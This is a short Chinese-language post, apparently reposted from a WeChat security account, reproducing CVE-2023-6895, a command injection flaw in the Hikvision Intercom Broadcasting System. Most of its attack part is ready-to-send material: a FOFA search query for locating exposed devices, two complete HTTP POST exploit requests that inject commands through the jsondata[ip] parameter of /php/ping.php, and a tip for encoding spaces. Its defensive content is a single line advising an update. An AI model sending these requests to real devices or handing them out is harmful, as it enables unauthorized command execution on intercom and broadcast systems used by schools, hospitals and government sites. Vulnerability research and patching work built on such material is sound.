CVE-2023-6895 海康RCE漏洞复现

漏洞简介

海康威视（Hikvision）对讲广播系统是一种集成的安防系统，旨在提供高效的对讲和广播功能，适用于各种场所，如企业、学校、医院、政府机构等。

Hikvision Intercom Broadcasting System 3.0.3_20201113_RELEASE(HIK)版本存在操作系统命令注入漏洞，该漏洞源于文件/php/ping.php的参数jsondata[ip]会导致系统命令注入

影响版本

Hikvision Intercom Broadcasting System 3.0.3_20201113_RELEASE(HIK)。

漏洞原理

该漏洞源于文件/php/ping.php的参数jsondata[ip]会导致操作系统命令注入，执行任意命令

漏洞复现过程

FOFA查询语句：icon_hash="-1830859634"

发送EXP

POST /php/ping.php HTTP/1.1
Host: ip:port
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded

jsondata[ip]=a|systeminfo&jsondata[type]=1

Tips

执行命令过程中用到空格的地方，请用%20代替

漏洞POC/EXP

POST /php/ping.php HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Host: 127.0.0.1
Content-Length: 40
Content-Type: application/x-www-form-urlencoded

jsondata[ip]=a|ipconfig&jsondata[type]=1

解决方案

建议及时更新至最新版本！

原文始发于微信公众号（不懂安全）：CVE-2023-6895 海康RCE漏洞复现